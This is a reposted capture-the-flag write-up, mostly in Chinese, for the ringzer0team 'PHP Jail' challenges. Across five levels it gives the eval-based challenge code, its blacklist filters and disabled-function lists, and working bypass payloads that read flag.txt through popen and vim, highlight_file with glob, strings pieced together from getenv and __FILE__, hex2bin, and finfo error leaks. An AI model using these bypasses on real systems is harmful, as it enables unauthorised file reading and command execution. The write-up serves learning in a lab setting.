ringzer0team CTF – Jail Escaping PHP
Here are my solutions for the ringzer0 Jail Escaping PHP challenges.
https://ringzer0team.com/ 非常不错的在线CTF闯关网站(在你答完题后,会看到别人的答案,注意需要你答题完毕才可以看到别人的答案,不过这个网站的题网上基本都已经公开通关方法了。)。能学到不少技术,博主推荐,下面文章为转载。本人不想重申太多遍,本博客【汪洋大海】栏目里的所有文章均为转载,本博主会尽力标注“源地址”如果实在找不到也没办法。
Level 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | RingZer0团队在线CTF PHP Jail Level 1: 当前用户是uid = 1000(level1)gid = 1000(level1)groups = 1000(level1) 标志位于/home/level1/flag.txt 挑战PHP代码: ----------------------------- <?php array_shift($_SERVER['argv']); $var = implode(" ", $_SERVER['argv']); if($var == null) die("PHP Jail need an argument\n"); function filter($var) { if(preg_match('/(`|open|exec|pass|system|\$|\/)/i', $var)) { return false; } return true; } if(filter($var)) { eval($var); echo "Command executed"; } else { echo "Restricted characters has been used"; } echo "\n"; ?> ----------------------------- Your input: |
答案:
1 2 3 | Your input: echo(file_get_contents('flag.txt')); FLAG-sW66QEY4y6724723c7w1i0oMt179E75y |
Level 2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | PHP Jail Level 2 当前用户是uid = 1001(level2)gid = 1001(level2)groups = 1001(level2) 国旗位于/home/level2/flag.txt 挑战PHP代码: ----------------------------- <?php array_shift($_SERVER['argv']); $var = implode(" ", $_SERVER['argv']); if($var == null) die("PHP Jail need an argument\n"); function filter($var) { if(preg_match('/(\/|a|c|s|require|include|flag|eval|file)/i', $var)) { return false; } return true; } if(filter($var)) { eval($var); echo "Command executed"; } else { echo "Restricted characters has been used"; } echo "\n"; ?> ----------------------------- Your input: |
由于一些功能(如fread,file_get_contents是不允许的),我们可以使用popen,以读取flag.txt启动外部命令:
1 | popen("vim", "w"); |
这vim是开始的,我们可以flag.txt通过将其加载到缓冲区中来读取:
1 | :r flag.txt |
Flag: FLAG-YlxV8cCg84zvUtt595dla5un9EW57BCL
Level 3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | RingZer0团队在线CTF PHP Jail Level 3: 当前用户是uid = 1002 ( level3 ) gid = 1002 ( level3 ) groups = 1002 ( level3 ) 标记位于/home/level3/flag.txt 挑战PHP代码: ----------------------------- 警告:PHP解释器是使用php -c php.ini jail.php启动的。 php.ini文件包含“disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once, ----------------------------- WARNING: the PHP interpreter is launched using php -c php.ini jail.php. The php.ini file contain "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file" <?php array_shift($_SERVER['argv']); $var = implode(" ", $_SERVER['argv']); if($var == null) die("PHP Jail need an argument\n"); function filter($var) { if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $var)) { return false; } return true; } if(filter($var)) { eval($var); echo "Command executed"; } else { echo "Restricted characters has been used"; } echo "\n"; ?> ----------------------------- |
由于禁用了大量功能,因此必须找到允许的功能,不包含任何受限制的字符。highlight_file是这些功能之一:
1 2 3 4 5 | Your input: highlight_file(glob("fl*txt")[0]); <code><span style="color: #000000"> FLAG-D6jg9230H05II3ri5QB7L9166gG73l8H<br /></span> </code>Command executed |
Level 4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | RingZer0团队在线CTF PHP Jail Level 4: 当前用户是uid = 1003 ( level4 ) gid = 1003 ( level4 ) groups = 1003 ( level4 ) 国旗位于/home/level4/flag.txt 挑战PHP代码: ----------------------------- 警告:PHP解释器是使用php -c php.ini jail.php启动的。 php.ini文件包含“disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once, <?php array_shift($_SERVER['argv']); $var = implode(" ", $_SERVER['argv']); if($var == null) die("PHP Jail need an argument\n"); function filter($var) { if(preg_match('/(\'|\"|`|\.|\$|\/|a|c|s|require|include)/i', $var)) { return false; } return true; } if(filter($var)) { eval($var); echo "Command executed"; } else { echo "Restricted characters has been used"; } echo "\n"; ?> ----------------------------- Your input: |
正如你可以看到highlight_source是没有禁用,所以你可以使用某物像:
1 | highlight_source("flag.txt"); |
然而,双引号和字符“a”和“。” 不允许。下一个想法是使用glob:
1 | highlight_source(glob("*")[4]); |
但再次:双引号和“*”字符是不允许的。由于我的解决方案很复杂,我会尝试解释一下我的想法:
a)我需要“/”字符(也不允许)b)我需要“a”字符c)我需要一种方式来定义一个字符串而不使用双引号d)我想以某种方式构建字符串“/ home /level4/flag.txt“与允许的字符并使用它 glob
现在解决每一个特定问题:
a)使用phpinfo();我发现有一些环境变量可以用来提取“/”。然后我跑了
1 2 3 | print_r(getenv(HOME)); PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 /home/level4Command executed |
然后我可以通过使用来提取“/”
1 | getenv(HOME)[0]; |
B)PHP有一些预定义的常量一样__FILE__,__DIR__等等:
1 2 | print_r(__FILE__); /home/level4/jail.php(14) : eval()'d codeCommand executed |
使用__FILE__我可以提取“a”和“。”。
c)利用define(),implode()/ explode()一个可以定义contants字符串和应用阵列操作,以提取/ CONCAT字符:
1 2 3 4 5 6 7 8 9 10 | define(HEY,__FILE__);print_r(explode(getenv(HOME)[0],HEY)); PHP Notice: Use of undefined constant HEY - assumed 'HEY' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 Array ( [0] => [1] => home [2] => level4 [3] => jail.php(14) : eval()'d code ) |
通过使用,implode()您可以连接几个字符:
1 2 3 4 5 6 7 | print_r(implode(getenv(HOME)[0],[getenv(HOME)[0],home,level4,file])); PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant home - assumed 'home' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant level4 - assumed 'level4' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant file - assumed 'file' in /home/level4/jail.php(14) : eval()'d code on line 1 //home/level4/fileCommand executed |
d)现在如果你把a),b)和c)放在一起,你应该可以建立你的有效载荷:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | define(HEY, __FILE__); highlight_file(implode(getenv(HOME)[0],[getenv(HOME)[0],home,level4,getenv(HOME)[0],implode(explode(getenv(HOME)[0],HEY)[0], [fl,explode(getenv(HOME)[0],HEY)[3][1],g,explode(getenv(HOME)[0],HEY)[3][4],t,x,t])])); PHP Notice: Use of undefined constant HEY - assumed 'HEY' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant home - assumed 'home' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant level4 - assumed 'level4' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant fl - assumed 'fl' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant g - assumed 'g' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant x - assumed 'x' in /home/level4/jail.php(14) : eval()'d code on line 1 PHP Notice: Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1 <code><span style="color: #000000"> FLAG-X9uF51b0X570f616897kLN3It3K6m63c<br /></span> </code>Command executed |
我知道...非常复杂(我已经看到解决方案使用hex2bin()),但它的工作:)
Level 5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | RingZer0团队在线CTF PHP Jail Level 5: 当前用户是uid = 1004(level5)gid = 1004(level5)groups = 1004(level5) 国旗位于/home/level5/flag.txt 挑战PHP代码: ----------------------------- 警告:PHP解释器是使用php -c php.ini jail.php启动的。php.ini文件包含“disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once, <?php array_shift($_SERVER['argv']); $var = implode(" ", $_SERVER['argv']); if($var == null) die("PHP Jail need an argument\n"); function filter($var) { if(preg_match('/(\_|\'|\"|`|\.|\$|\/|a|c|s|z|require|include)/i', $var)) { return false; } return true; } if(filter($var)) { eval($var); echo "Command executed"; } else { echo "Restricted characters has been used"; } echo "\n"; ?> ----------------------------- Your input: |
我做的第一件事是生成filename(flag.txt):
1 2 3 4 | Your input: print(glob(hex2bin(hex2bin(3261)))[0]); flag.txtCommand executed Your input: |
然后我需要一些功能来读取内容flag.txt。然而,由于额外的字符限制,我无法找到任何绕过限制的人。然后我买了提示:
1 | md5 can return raw characters such as *, Some classes can help you error messages too |
所以我需要一些类与一些构造函数,它以文件名作为参数。一如既往:Google是您的朋友 - > inurl:php.net/manual/en/class。然后我找到了Finfo:
1 2 3 4 5 6 | Your input: new Finfo(0,glob(hex2bin(hex2bin(3261)))[0]); PHP Notice: finfo::finfo(): Warning: offset `FLAG-81M2544kLM9nxBJCfMG2ET8329Lo1qqZ' invalid in /home/level5/jail.php(14) : eval()'d code on line 1 PHP Notice: finfo::finfo(): Warning: type `FLAG-81M2544kLM9nxBJCfMG2ET8329Lo1qqZ' invalid in /home/level5/jail.php(14) : eval()'d code on line 1 PHP Warning: finfo::finfo(): Failed to load magic database at '/home/level5/flag.txt'. in /home/level5/jail.php(14) : eval()'d code on line 1 Command executed |
文章来源:http://blog.dornea.nu/2016/06/20/ringzer0-ctf-jail-escaping-php/
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏